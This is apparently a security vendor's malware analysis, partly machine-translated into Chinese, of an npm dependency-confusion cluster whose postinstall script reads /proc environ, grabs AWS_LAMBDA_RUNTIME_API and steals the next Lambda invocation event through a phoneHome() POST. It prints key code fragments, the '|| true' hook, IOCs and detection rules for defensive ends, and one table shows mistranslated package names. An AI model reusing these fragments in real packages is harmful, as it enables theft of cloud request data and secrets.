TL博士
2026年5月6日至5月7日期间，单个npm发布者， pelavelle, pushed eight zero-dependency packages using names that followed the same internal-looking pattern: 24712-pl*.
The packages included 24712-pl3469, 24712-pl4712, 24712-pl5006, 24712-plv2和 24712-plv3. The numbered prefix strongly suggests an npm dependency confusion attack against an internal package namespace or package-id scheme.
All eight sibling packages were already unpublished from npm by the publisher between 2026-05-06T21:52Z 以及 2026-05-07T00:31Z. Direct registry metadata confirmed that the tarballs now return HTTP 404.
然而，集群仍然很重要。
The canonical sample, 24712-pl5006:0.0.1，包含一个 postinstall.js script that runs during npm install. Instead of stealing generic environment variables, it specifically looks for AWS_LAMBDA_RUNTIME_API, the environment variable used by AWS Lambda runtimes.
If the script finds AWS_LAMBDA_RUNTIME_API, it calls the Lambda Runtime API endpoint:
That call attempts to consume the next pending Lambda invocation event before the legitimate Lambda handler can process it.
The captured event, including headers, request ID, account context, and up to 8 KB of request body, is then sent to an attacker-controlled phone-home endpoint through the script’s phoneHome() 功能。
Xygeni’s Malware Early Warning (MEW) system classified the canonical sample as probably malicious with a score of 91.3/100.
We are tracking this as an npm dependency confusion attack with AWS Lambda runtime hijack behavior.
集群：八个软件包，一个出版商
出版商账户 pelavelle 使用的电子邮件地址：
pelavelle@clovercode.comThe account had an unverified email, no SCM verification, and a low reputation score of 5.
The publisher released eight related packages over a short window between 2026-05-06 20:45Z and 22:36Z. The package names all follow the same shape:
24712-pl*This pattern is the key signal. It does not look like a public developer utility. Instead, it looks like an internal package naming scheme.
| # | 小包装 | 恶意版本 | 创建于 UTC | 未发表，UTC | 有效载荷已确认 | 安装钩子 |
|---|---|---|---|---|---|---|
| 1 | 宇宙探索者 | 1.1.3 | 2026-05-01T18:26Z | 2026-05-01T19:01Z | 推断，同一发布者/集群 | 预安装，假定 |
| 2 | signalsdk-web | 1.0.0，10.0.0 | 2026-05-04T13:57Z | 2026-05-04T18:51Z | 推断 | 预安装，假定 |
| 3 | ms.analytics-web | 99.0.0，99.9.13 | 2026-05-04T18:47Z | 2026-05-05T10:07Z | 推断 | 预安装，假定 |
| 4 | 生成的图标 | 99.9.13 | 2026-05-05T10:02Z | 2026-05-05T12:57Z | 推断 | 预安装，假定 |
| 5 | 延迟跟踪 | 99.9.0 | 2026-05-05T11:57Z | 2026-05-05T12:57Z | 推断 | 预安装，假定 |
| 6 | 延迟跟踪-内部 | 从注册表记录中剥离版本信息 | 2026-05-06T06:02Z | 2026-05-06T08:35Z | 推断 | 预安装，假定 |
| 7 | carboniteapp | 99.9.0 | 2026-05-06T05:49Z | 2026-05-06T08:35Z | 是的，完整的扫描器代码流程 | 预安装：node index.js |
| 8 | 碳化物-内部 | 99.9.0 | 2026-05-06T06:14Z | 2026-05-06T08:36Z | 是的，完整的扫描器代码流程 | 预安装：node index.js |
Total versions across the cluster: 19 version-package tuples.
The canonical sample, 24712-pl5006:0.0.1, was published on 2026-05-06T22:36:34Z and scanned by Xygeni’s MEW pipeline before the unpublish event.
It contained four files, including package/postinstall.js, with 3,335 bytes of total source.
规范的 commit hash was:
83e0efbfd110abb2398a06196fb698565a3f6cc6Why the Name Pattern Matters
The package names are the strongest indicator of intent.
They all start with the same prefix:
24712-plThen they add numeric or version-like suffixes:
24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3This does not resemble normal public npm naming. It looks like an internal namespace prefix or internal package-id scheme.
That makes the cluster consistent with an npm dependency confusion attack.
In a dependency confusion attack, the attacker publishes a public package with a name that matches, or appears to match, an internal dependency. If the target’s package manager or build environment resolves the public package instead of the private one, attacker-controlled code runs inside the target environment.
OWASP describes dependency confusion as an attack vector that tricks package managers and proxies into fetching a malicious public package instead of the intended internal package of the same name.
For deeper context on how this class of attack works, see Xygeni’s guide on lack of version pinning and dependency confusion and our post on identifying and managing software dependency attacks.
安装时会发生什么
The canonical package declares a postinstall 钩：
{
"scripts": {
"postinstall": "node postinstall.js || true"
}
}此 postinstall lifecycle is part of npm’s package script system. npm’s documentation explains that packages can define lifecycle scripts in package.json, including built-in installation lifecycle events.
此 || true 很重要
It swallows errors so installation still succeeds even if the hijack fails. That helps the package avoid breaking the build and reduces the chance that developers or CI systems notice the malicious behavior through a failed install.
The payload runs during npm install. No developer import is required. No application path has to call the package.
The install itself is enough.
Payload Behavior: Lambda Runtime Hijack
此 postinstall.js script performs a targeted sequence.
First, it reads the parent process environment from Linux /proc:
const raw = fs.readFileSync(`/proc/${pid}/environ`, 'utf8');Then it extracts the AWS Lambda runtime endpoint:
const match = raw.match(/AWS_LAMBDA_RUNTIME_API=([^\0]+)/);If the runtime API is found, the script stores it:
runtimeApi = match[1];Next, it sends a first beacon through phoneHome():
await phoneHome({ step: 'waiting', runtimeApi, ts: ... });That first beacon leaks the Lambda runtime API endpoint.
Then the script parses the runtime API host and port:
const [host, portStr] = runtimeApi.split(':');Finally, it calls the AWS Lambda Runtime API path used to retrieve the next invocation:
http.request({
host,
port,
path: '/2018-06-01/runtime/invocation/next',
method: 'GET',
timeout: 90000
}, ...);That is the core of the attack.
The script attempts to consume the next Lambda invocation event before the legitimate Lambda handler can process it. AWS’s custom runtime guide also describes the “get an event” step as a call to the next invocation API.
What Gets Exfiltrated
If the script captures an invocation, it sends the result to the attacker-controlled phone-home endpoint.
The exfiltrated fields include:
| 领域 | 意 |
|---|---|
step |
Execution stage, such as waiting, next_error 或 captured |
runtimeApi |
Lambda runtime API endpoint |
accountSid |
Captured AWS account context |
requestId |
Lambda invocation request ID |
isOwnAccount |
Boolean comparison against the script’s configured account value |
statusCode |
Runtime API response status |
headers |
Invocation response headers |
body |
Captured invocation body, sliced to 8,000 characters |
The key exfiltration call is the phoneHome(data) function, which JSON-encodes the data and sends it through an HTTP POST.
The exact phone-home destination URL was not preserved in the available truncated evidence. Therefore, npm should preserve the unpublished tarball internally so the C2 host literal can be extracted before deletion is finalized.
为什么这很危险
This is not a generic npm beacon.
The payload is designed around AWS Lambda’s 执行模型。
If a vulnerable package is installed inside a Lambda execution environment, such as during a deployment image build, a Lambda layer install, or an init wrapper process, the environment may expose AWS_LAMBDA_RUNTIME_API.
Once the script has that value, it can call:
/2018-06-01/runtime/invocation/nextThat endpoint returns the next pending invocation event.
As a result, the attacker may be able to capture:
- Request bodies
- 头
- Request IDs
- AWS account context
- Signed request data
- 客户个人识别信息
- S3 event data
- Application-specific payloads
- Internal service context
The legitimate handler may never see the consumed event.
That turns an npm install script into a Lambda event interception primitive.
Even if the package never lands in a real Lambda environment, the behavior can still leak useful context from dev or CI systems. Reading /proc/<pid>/environ may expose environment variables present in parent processes, which can include AWS keys, database URLs, CI tokens, or deployment credentials.
This is why dependency scanning cannot stop at known CVEs. Teams also need malicious package detection, install-script analysis, and registry-policy enforcement. For related guidance, read 为什么依赖关系扫描对 DevOps 团队很重要 以及 恶意软件防护：为什么防病毒软件无法阻止供应链攻击.
Xygeni MEW 分类
Xygeni MEW scanned the canonical sample 24712-pl5006:0.0.1 before the unpublish event.
The scanner returned:
91.3 / 100
probablyMalicious
threshold: 80The evidence included three Critical items and one High item confirming the Lambda runtime-hijack data flow.
| 严谨求真 | 证据 | 意 |
|---|---|---|
| 危急 | /proc/<pid>/environ 读 |
Reads parent process environment |
| 危急 | AWS_LAMBDA_RUNTIME_API 提取 |
Targets Lambda runtime endpoint |
| 危急 | /runtime/invocation/next 请求 |
Attempts to consume a real Lambda invocation event |
| 高 | postinstall 脚本 |
Runs during npm install |
The behavior is highly specific and high impact. The package does not need broad malware features because the Lambda runtime endpoint is already a powerful target.
Xygeni MEW is designed for this kind of case: detecting suspicious and malicious package behavior before it becomes a downstream incident. For a wider view of current npm and PyPI threat patterns, see 深入研究 2025 年软件供应链攻击.
为什么自取消发布模式很重要
All eight packages were unpublished by the publisher within a short time window.
That behavior is suspicious in this context.
The cluster appeared, ran if selected by a vulnerable dependency-resolution path, and then disappeared. This is consistent with attacker cleanup after a successful or aborted proof of concept, or after the target organization noticed the issue.
Unpublishing creates a visibility gap for defenders.
Public npm data may no longer include the tarballs. Some package versions cannot be re-downloaded. However, affected environments may still have cached copies, lockfile references, CI logs, or package manager artifacts.
That is why registry-side preservation matters.
npm should preserve the unpublished tarballs internally long enough to extract the exact phone-home URL, confirm sibling payload identity, and support incident response.
入侵和检测指标
出版商和帐户
| 领域 | 价值 |
|---|---|
| npm 用户名 | pelavelle |
| npm 发布者电子邮件 | pelavelle@clovercode.com |
| 电子邮件已验证 | 没有 |
| SCM 专利 | 没有 |
| Publisher reputation score | 5 |
| Package naming pattern | ^24712-pl[0-9a-z]+$ |
| Internal namespace prefix | 24712-pl |
受影响的软件包名称
24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3Canonical Sample
| 领域 | 价值 |
|---|---|
| 小包装 | 24712-pl5006 |
| 版本 | 0.0.1 |
| 发布时间 | 2026-05-06T22:36:34Z |
| Commit 哈希 | 83e0efbfd110abb2398a06196fb698565a3f6cc6 |
| Xygeni scan UUID | f80e4244-86d2-4a58-be59-7c56988a0f9f |
| 成绩 / 分数 | 91.3 / 100 |
| 总结 | probablyMalicious |
安装钩子
{
"scripts": {
"postinstall": "node postinstall.js || true"
}
}Lambda Runtime Indicators
Exfiltrated Payload Fields
step
runtimeApi
accountSid
requestId
isOwnAccount
statusCode
headers
bodyThe body is sliced to 8,000 characters.
检测记录
Several rules can catch this npm dependency confusion attack and likely variants.
First, flag npm install scripts that read parent process environment from /proc:
/proc/<pid>/environThat is rarely legitimate behavior for an npm dependency during install.
Second, alert on package install scripts that reference:
AWS_LAMBDA_RUNTIME_APIThis environment variable should not be accessed by third-party npm packages during installation.
Third, block or review install scripts that call:
/2018-06-01/runtime/invocation/nextThis is the AWS Lambda Runtime API endpoint for receiving the next invocation. A dependency install script has no legitimate reason to consume it.
Fourth, hunt for lockfile references to the affected package names:
package-lock.json
yarn.lock
pnpm-lock.yaml
npm-shrinkwrap.json任何匹配项都应触发依赖关系混淆审查。
Fifth, alert on the package name regex:
^24712-pl[0-9a-z]+$especially when the publisher is public, low reputation, unverified, or outside the expected internal registry.
最后，添加 CI/CD guardrails around install scripts. This is especially important because npm lifecycle scripts can execute during package installation, before developers import anything. For more on CI/CD detection patterns, see Xygeni’s 十大妥协指标 CI/CD Pipelines 以及 安保防护 Guardrails HPMC胶囊 CI/CD Pipelines.
建议的注册表操作
This cluster was already unpublished at report time, but unpublish does not remove the risk.
建议在 npm 端执行的操作：
- 确认这些取消发布操作是攻击者发起的清理行动，还是合法的维护者操作。
- 暂停或封禁发布商帐户
pelavelle. - 添加
pelavelle@clovercode.com, the package names, and the package-name regex to npm abuse and supply-chain blocklists. - 将未发布的 tar 包保存在内部存储中，以备取证之用。
- Extract the exact
phoneHome()destination URL from the preserved package tarballs. - Confirm whether all sibling packages share the same payload.
- Notify affected organizations if package download or install telemetry indicates exposure.
妥协应对清单
If any affected package appeared in lockfiles, CI logs, package caches, Lambda layers, deployment images, or build artifacts, treat it as a potential dependency-confusion execution event.
建议回复：
- Identify where the package was installed: local workstation, CI runner, Lambda layer build, deployment image, or runtime environment.
- Preserve lockfiles, npm cache, build logs, deployment artifacts, and container image layers.
- Check whether installation occurred inside an environment where
AWS_LAMBDA_RUNTIME_API被设定。 - Review outbound HTTP logs for unknown
phoneHome()destinations during the install window. - Audit Lambda invocation logs for dropped, missing, or anomalous events.
- Rotate secrets exposed to the install environment, especially AWS keys, CI tokens, deployment credentials, and database URLs.
- Review Lambda layers and deployment images for cached copies of the package.
- Enforce private registry pinning for internal package prefixes.
- Block public npm resolution for internal-looking package names.
- 添加 guardrails HPMC胶囊
preinstall,install和postinstall脚本。
How Xygeni Helps Detect This Earlier
This campaign is exactly the type of case where security teams need more than traditional vulnerability scanning.
可能没有 CVE. There may be no known vulnerable version. There may be no long-lived package to inspect after the publisher cleans up.
Instead, teams need real-time visibility into package behavior.
Xygeni helps by combining:
- Early malware detection across public registries.
- Suspicious dependency detection for dependency confusion and typosquatting.
- Install-script analysis for
preinstall,install和postinstall行为。 - CI/CD guardrails to block risky packages before they reach build or deployment environments.
- Software supply chain visibility across dependencies, pipeline以及人工制品。
- Policy enforcement for internal package names and untrusted public packages.
That matters because the impact of an npm dependency confusion attack is not limited to developer laptops. It can reach CI runners, build images, Lambda layers, deployment containers, and runtime-adjacent environments.
For broader AppSec and supply chain context, see 超越 SCA：保护您的软件供应链 以及 Software Supply Chain Security 省时提效.
防守者应该吸取什么教训
This campaign shows how dependency confusion can move beyond basic proof-of-execution beacons.
The payload does not simply confirm that npm install ran. It attempts to interact with the AWS Lambda Runtime API and capture a real invocation event.
That is a meaningful escalation.
For teams using serverless, dependency resolution is part of the runtime threat model. A public npm package with an internal-looking name can become a path into Lambda execution context, request data, and cloud account metadata.
The core lesson is clear: internal package prefixes must be protected, scoped, and pinned to trusted registries. Install scripts must be treated as executable attack surface, especially in CI/CD, container builds, Lambda layers, and deployment pipelines.
CISA’s software supply chain guidance emphasizes the need to protect software, apply security checks, and respond to vulnerabilities continuously across the development process. In this case, that means treating package resolution, package scripts, and serverless build environments as first-class security controls.
已向 npm 报告，要求采取账户级强制措施、列入黑名单并保存未发布的 tarball 文件。
